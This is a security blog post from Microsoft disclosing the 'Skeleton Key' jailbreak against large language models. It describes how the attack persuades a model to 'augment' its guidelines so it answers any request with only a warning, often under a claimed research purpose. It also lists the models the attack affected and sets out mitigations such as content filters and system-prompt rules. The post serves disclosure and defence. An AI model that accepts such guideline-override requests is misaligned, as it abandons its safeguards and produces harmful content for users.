In this blog, we’ll cover the details of a newly discovered type of jailbreak attack that we call Skeleton Key, which we covered briefly in the Microsoft Build talk Inside AI Security with Mark Russinovich (under the name Master Key). Because this technique affects multiple generative AI models tested, Microsoft has shared these findings with other AI providers through responsible disclosure procedures and addressed the issue in Microsoft Azure AI-managed models using Prompt Shields to detect and block this type of attack. Microsoft has also made software updates to the large language model (LLM) technology behind Microsoft’s additional AI offerings, including our Copilot AI assistants, to mitigate the impact of this guardrail bypass.

Introducing Skeleton Key

This AI jailbreak technique works by using a multi-turn (or multiple step) strategy to cause a model to ignore its guardrails. Once guardrails are ignored, a model will not be able to determine malicious or unsanctioned requests from any other. Because of its full bypass abilities, we have named this jailbreak technique Skeleton Key.

This threat is in the jailbreak category, and therefore relies on the attacker already having legitimate access to the AI model. In bypassing safeguards, Skeleton Key allows the user to cause the model to produce ordinarily forbidden behaviors, which could range from production of harmful content to overriding its usual decision-making rules. Like all jailbreaks, the impact can be understood as narrowing the gap between what the model is capable of doing (given the user credentials, etc.) and what it is willing to do. As this is an attack on the model itself, it does not impute other risks on the AI system, such as permitting access to another user’s data, taking control of the system, or exfiltrating data.

To protect against Skeleton Key attacks, as detailed in this blog, Microsoft has implemented several approaches to our AI system design and provides tools for customers developing their own applications on Azure. Below, we also share mitigation guidance for defenders to discover and protect against such attacks.

Microsoft recommends customers who are building their own AI models and/or integrating AI into their applications to consider how this type of attack could impact their threat model and to add this knowledge to their AI red team approach, using tools such as PyRIT. (Note: Microsoft has updated PyRIT to include Skeleton Key)

In the next sections, we will discuss some of the known methods for exploiting generative AI models using the Skeleton Key technique, explain the steps we’re taking to address the risk, and provide guidance for the detection and mitigation of this threat. You can watch this video to learn more about how Microsoft approaches AI Red Teaming.

Attack flow

Skeleton Key works by asking a model to augment, rather than change, its behavior guidelines so that it responds to any request for information or content, providing a warning (rather than refusing) if its output might be considered offensive, harmful, or illegal if followed. This attack type is known as Explicit: forced instruction-following.

In one example, informing a model that the user is trained in safety and ethics, and that the output is for research purposes only, helps to convince some models to comply, as shown below:

When the Skeleton Key jailbreak is successful, a model acknowledges that it has updated its guidelines and will subsequently comply with instructions to produce any content, no matter how much it violates its original responsible AI guidelines.

During our testing, from April to May 2024, the jailbreak was shown to work on the following base models and hosted models:

• Meta Llama3-70b-instruct (base)
• Google Gemini Pro (base)
• OpenAI GPT 3.5 Turbo (hosted)
• OpenAI GPT 4o (hosted)
• Mistral Large (hosted)
• Anthropic Claude 3 Opus (hosted)
• Cohere Commander R Plus (hosted)

For each model that we tested, we evaluated a diverse set of tasks across risk and safety content categories, including areas such as explosives, bioweapons, political content, self-harm, racism, drugs, graphic sex, and violence. All the affected models complied fully and without censorship for these tasks, though with a warning note prefixing the output as requested. Unlike other jailbreaks like Crescendo, where models must be asked about tasks indirectly or with encodings, Skeleton Key puts the models in a mode where a user can directly request tasks, for example, “Write a recipe for homemade explosives”. Further, the model’s output appears to be completely unfiltered and reveals the extent of a model’s knowledge or ability to produce the requested content.

Consistent with responsible disclosure principles, Microsoft shared this research with the affected AI vendors before publication, helping them determine how to best address mitigations, as needed, in their respective products or services.

GPT-4 demonstrated resistance to Skeleton Key, except when the behavior update request was included as part of a user-defined system message, rather than as a part of the primary user input. This is something that is not ordinarily possible in the interfaces of most software that uses GPT-4, but can be done from the underlying API or tools that access it directly. This indicates that the differentiation of system message from user request in GPT-4 is successfully reducing attackers’ ability to override behavior.

Mitigation and protection guidance

Microsoft has made software updates to the LLM technology behind Microsoft’s AI offerings, including our Copilot AI assistants, to mitigate the impact of this guardrail bypass. Customers should consider the following approach to mitigate and protect against this type of jailbreak in their own AI system design:

• Input filtering: Azure AI Content Safety detects and blocks inputs that contain harmful or malicious intent leading to a jailbreak attack that could circumvent safeguards.
• System message: Prompt engineering the system prompts to clearly instruct the large language model (LLM) on appropriate behavior and to provide additional safeguards. For instance, specify that any attempts to undermine the safety guardrail instructions should be prevented (read our guidance on building a system message framework here).
• Output filtering: Azure AI Content Safety post-processing filter that identifies and prevents output generated by the model that breaches safety criteria.
• Abuse monitoring: Deploying an AI-driven detection system trained on adversarial examples, and using content classification, abuse pattern capture, and other methods to detect and mitigate instances of recurring content and/or behaviors that suggest use of the service in a manner that may violate guardrails. As a separate AI system, it avoids being influenced by malicious instructions. Microsoft Azure OpenAI Service abuse monitoring is an example of this approach.

Building AI solutions on Azure

Microsoft provides tools for customers developing their own applications on Azure. Azure AI Content Safety Prompt Shields are enabled by default for models hosted in the Azure AI model catalog as a service, and they are parameterized by a severity threshold. We recommend setting the most restrictive threshold to ensure the best protection against safety violations. These input and output filters act as a general defense not only against this particular jailbreak technique, but also a broad set of emerging techniques that attempt to generate harmful content. Azure also provides built-in tooling for model selection, prompt engineering, evaluation, and monitoring. For example, risk and safety evaluations in Azure AI Studio can assess a model and/or application for susceptibility to jailbreak attacks using synthetic adversarial datasets, while Microsoft Defender for Cloud can alert security operations teams to jailbreaks and other active threats.

With the integration of Azure AI and Microsoft Security (Microsoft Purview and Microsoft Defender for Cloud) security teams can also discover, protect, and govern these attacks. The new native integration of Microsoft Defender for Cloud with Azure OpenAI Service, enables contextual and actionable security alerts, driven by Azure AI Content Safety Prompt Shields and Microsoft Defender Threat Intelligence. Threat protection for AI workloads allows security teams to monitor their Azure OpenAI powered applications in runtime for malicious activity associated with direct and in-direct prompt injection attacks, sensitive data leaks and data poisoning, or denial of service attacks.

References

• Attacks, Defenses and Evaluations for LLM Conversation Safety: A Survey (Shanghai AI Laboratory)
• AI jailbreaks: What they are and how they can be mitigated
• How Microsoft discovers and mitigates evolving attacks against AI guardrails

Learn more

To learn more about Microsoft’s Responsible AI principles and approach, refer to http://approjects.co.za/?big=ai/principles-and-approach.

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Mitigating Skeleton Key, a new type of generative AI jailbreak technique appeared first on Microsoft Security Blog.